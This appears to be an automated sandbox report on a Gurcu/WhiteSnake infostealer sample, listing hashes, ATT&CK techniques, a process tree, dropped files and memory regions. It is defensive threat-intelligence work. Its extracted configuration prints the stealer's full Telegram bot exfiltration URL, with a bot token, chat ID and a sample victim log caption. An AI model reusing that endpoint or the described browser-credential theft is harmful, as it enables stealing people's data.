gurcu | 17cc88b4f9976d16cc5c807e91b034fecc721f9988cc52e2056a01e99aabc900

Analysis

max time kernel
94s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-12-2024 18:38

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General

Target

b-crypted.exe
Size

8.4MB
MD5

b45f3a137a961c8498ee21a246e983ec
SHA1

f7a2dc2bac844aad018498f224adf51f285c1f1b
SHA256

17cc88b4f9976d16cc5c807e91b034fecc721f9988cc52e2056a01e99aabc900
SHA512

ee339e5f4853c425d838493aa9fdac55273601482b804be183367118832d4677375daa46e08755d1f472725cb9d35612e570095f1afffe3db1d336fb139d20bc
SSDEEP

196608:HWIWSNScyO62XEXOV7QUY1MlROz8Uk2Ew2GdKxvY7n7wls8bg:NWSBybi7qelRc8UFAGwxAGs80

Score

10^/10

gurcu discovery spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6031927554:AAEXTw-Bhx5o5i_JojmzmJzXPmNMBfive_Y/sendDocument?chat_id=918093463&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	systemuser.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	tempdatalogger.exe

Executes dropped EXE 2 IoCs

pid	Process
1744	systemuser.exe
1452	tempdatalogger.exe

Loads dropped DLL 2 IoCs

pid	Process
1744	systemuser.exe
1452	tempdatalogger.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
18	raw.githubusercontent.com
19	raw.githubusercontent.com
34	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4640	tasklist.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3668 set thread context of 1820	3668	b-crypted.exe	90

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b-crypted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	tempdatalogger.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	tempdatalogger.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
64	timeout.exe

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
3668	b-crypted.exe
3668	b-crypted.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1744	systemuser.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe
1452	tempdatalogger.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	b-crypted.exe
Token: SeDebugPrivilege	1744	systemuser.exe
Token: SeDebugPrivilege	4640	tasklist.exe
Token: SeDebugPrivilege	1452	tempdatalogger.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 3668 wrote to memory of 1144	3668	b-crypted.exe	89
PID 3668 wrote to memory of 1144	3668	b-crypted.exe	89
PID 3668 wrote to memory of 1144	3668	b-crypted.exe	89
PID 3668 wrote to memory of 1820	3668	b-crypted.exe	90
PID 3668 wrote to memory of 1820	3668	b-crypted.exe	90
PID 3668 wrote to memory of 1820	3668	b-crypted.exe	90
PID 3668 wrote to memory of 1820	3668	b-crypted.exe	90
PID 3668 wrote to memory of 1820	3668	b-crypted.exe	90
PID 3668 wrote to memory of 1820	3668	b-crypted.exe	90
PID 3668 wrote to memory of 1820	3668	b-crypted.exe	90
PID 3668 wrote to memory of 1820	3668	b-crypted.exe	90
PID 1820 wrote to memory of 1744	1820	RegAsm.exe	91
PID 1820 wrote to memory of 1744	1820	RegAsm.exe	91
PID 1744 wrote to memory of 5016	1744	systemuser.exe	94
PID 1744 wrote to memory of 5016	1744	systemuser.exe	94
PID 5016 wrote to memory of 2136	5016	cmd.exe	96
PID 5016 wrote to memory of 2136	5016	cmd.exe	96
PID 5016 wrote to memory of 4640	5016	cmd.exe	97
PID 5016 wrote to memory of 4640	5016	cmd.exe	97
PID 5016 wrote to memory of 4232	5016	cmd.exe	98
PID 5016 wrote to memory of 4232	5016	cmd.exe	98
PID 5016 wrote to memory of 64	5016	cmd.exe	99
PID 5016 wrote to memory of 64	5016	cmd.exe	99
PID 5016 wrote to memory of 1452	5016	cmd.exe	100
PID 5016 wrote to memory of 1452	5016	cmd.exe	100
PID 1452 wrote to memory of 4944	1452	tempdatalogger.exe	101
PID 1452 wrote to memory of 4944	1452	tempdatalogger.exe	101
PID 4944 wrote to memory of 1704	4944	cmd.exe	103
PID 4944 wrote to memory of 1704	4944	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\b-crypted.exe
"C:\Users\Admin\AppData\Local\Temp\b-crypted.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:1144
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Users\Admin\AppData\Roaming\systemuser.exe
    "C:\Users\Admin\AppData\Roaming\systemuser.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp52ED.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp52ED.tmp.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5016
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2136
    - - C:\Windows\system32\tasklist.exe
        
        Tasklist /fi "PID eq 1744"
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4640
    - - C:\Windows\system32\find.exe
        
        find ":"
        5⤵
        
        PID:4232
    - - C:\Windows\system32\timeout.exe
        
        Timeout /T 1 /Nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:64
    - - C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe
        
        "C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1452
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpA5EF.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpA5EF.tmp.bat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4944
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:1704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp52ED.tmp.bat

Filesize
300B

MD5
d88f63a793d6e94d0536aaa5d2ae8d04

SHA1
db98c760b934b16d483a2e5fe754f09f9678090e

SHA256
08b649aa13b688cd6d5882cd1f4c1e5f64ecc087ac61d5f81029090e29b8534a

SHA512
cf6133c49799b3a73119649555f59c15018b3cfe0a69da67de637d523b8e0c5986d9c35945b6914f50d1d850896aad8ce512a8afc4d8a9772e27b8603248e5c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA5EF.tmp.bat

Filesize
149B

MD5
9b50431381f90bb6149dbb5c85095c94

SHA1
3eed9d5a930e860d2308abec184946022a258a08

SHA256
bc8d12c414c230d3c3d1e444a4a6af0bbe189ba0e810fd5aa3fd2873c5d32d4b

SHA512
a581e798ff3db6780740d71e184b98acd42f11a7c7fcbf1416a3b24833a7b09a51487ef382eea5987d5bb3d4fc14cd12be0fef6ba388083b8818256cdfc30480

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Roaming\systemuser.exe

Filesize
5.6MB

MD5
5328cd66093855fbb2127332ad78cdd6

SHA1
7605e73efa3a3bd1c42beddad226ccf355f80e4c

SHA256
90daa714224ac1b53c423442d1cd0425bc678c721402ae757034258248d43106

SHA512
0e4428281adf02fedaee64233fb63c1296009aa0dbe233036be841afb2bb5443769812389613ef696821cdc9750193599d2bda6b567b92301796bbea8a84098c

Download Submit
memory/1452-61-0x00000262F1420000-0x00000262F145A000-memory.dmp

Filesize
232KB

Download
memory/1452-62-0x00000262F13E0000-0x00000262F1406000-memory.dmp

Filesize
152KB

Download
memory/1452-59-0x00000262F13B0000-0x00000262F13D2000-memory.dmp

Filesize
136KB

Download
memory/1452-58-0x00000262F1360000-0x00000262F13B0000-memory.dmp

Filesize
320KB

Download
memory/1452-57-0x00000262F12B0000-0x00000262F1362000-memory.dmp

Filesize
712KB

Download
memory/1452-55-0x00000262F1240000-0x00000262F12AA000-memory.dmp

Filesize
424KB

Download
memory/1452-54-0x00000262D6D00000-0x00000262D6D1E000-memory.dmp

Filesize
120KB

Download
memory/1452-63-0x00000262F20A0000-0x00000262F23CE000-memory.dmp

Filesize
3.2MB

Download
memory/1452-88-0x00000262F1460000-0x00000262F1472000-memory.dmp

Filesize
72KB

Download
memory/1744-34-0x00007FF8568F3000-0x00007FF8568F5000-memory.dmp

Filesize
8KB

Download
memory/1744-35-0x0000023674F70000-0x0000023675508000-memory.dmp

Filesize
5.6MB

Download
memory/1744-47-0x00007FF8568F0000-0x00007FF8573B1000-memory.dmp

Filesize
10.8MB

Download
memory/1744-43-0x00007FF8568F0000-0x00007FF8573B1000-memory.dmp

Filesize
10.8MB

Download
memory/1744-42-0x00007FF8568F0000-0x00007FF8573B1000-memory.dmp

Filesize
10.8MB

Download
memory/1744-41-0x00000236779F0000-0x0000023677A66000-memory.dmp

Filesize
472KB

Download
memory/1744-40-0x00000236778C0000-0x00000236778CA000-memory.dmp

Filesize
40KB

Download
memory/1820-33-0x0000000074D50000-0x0000000075500000-memory.dmp

Filesize
7.7MB

Download
memory/1820-20-0x0000000074D50000-0x0000000075500000-memory.dmp

Filesize
7.7MB

Download
memory/1820-16-0x0000000074D50000-0x0000000075500000-memory.dmp

Filesize
7.7MB

Download
memory/1820-18-0x0000000005760000-0x00000000057FC000-memory.dmp

Filesize
624KB

Download
memory/1820-14-0x0000000000400000-0x00000000009B4000-memory.dmp

Filesize
5.7MB

Download
memory/3668-11-0x0000000074D50000-0x0000000075500000-memory.dmp

Filesize
7.7MB

Download
memory/3668-8-0x00000000063F0000-0x00000000063FA000-memory.dmp

Filesize
40KB

Download
memory/3668-13-0x00000000051B0000-0x00000000051CE000-memory.dmp

Filesize
120KB

Download
memory/3668-12-0x0000000005370000-0x0000000005928000-memory.dmp

Filesize
5.7MB

Download
memory/3668-17-0x0000000074D50000-0x0000000075500000-memory.dmp

Filesize
7.7MB

Download
memory/3668-10-0x0000000074D5E000-0x0000000074D5F000-memory.dmp

Filesize
4KB

Download
memory/3668-9-0x00000000065E0000-0x0000000006656000-memory.dmp

Filesize
472KB

Download
memory/3668-0-0x0000000074D5E000-0x0000000074D5F000-memory.dmp

Filesize
4KB

Download
memory/3668-7-0x0000000002BE0000-0x0000000002BE6000-memory.dmp

Filesize
24KB

Download
memory/3668-6-0x0000000007690000-0x0000000007722000-memory.dmp

Filesize
584KB

Download
memory/3668-5-0x000000000C7F0000-0x000000000CD94000-memory.dmp

Filesize
5.6MB

Download
memory/3668-4-0x000000000BC80000-0x000000000C244000-memory.dmp

Filesize
5.8MB

Download
memory/3668-3-0x0000000074D50000-0x0000000075500000-memory.dmp

Filesize
7.7MB

Download
memory/3668-2-0x0000000002B40000-0x0000000002B46000-memory.dmp

Filesize
24KB

Download
memory/3668-1-0x00000000001B0000-0x00000000007AA000-memory.dmp

Filesize
6.0MB

Download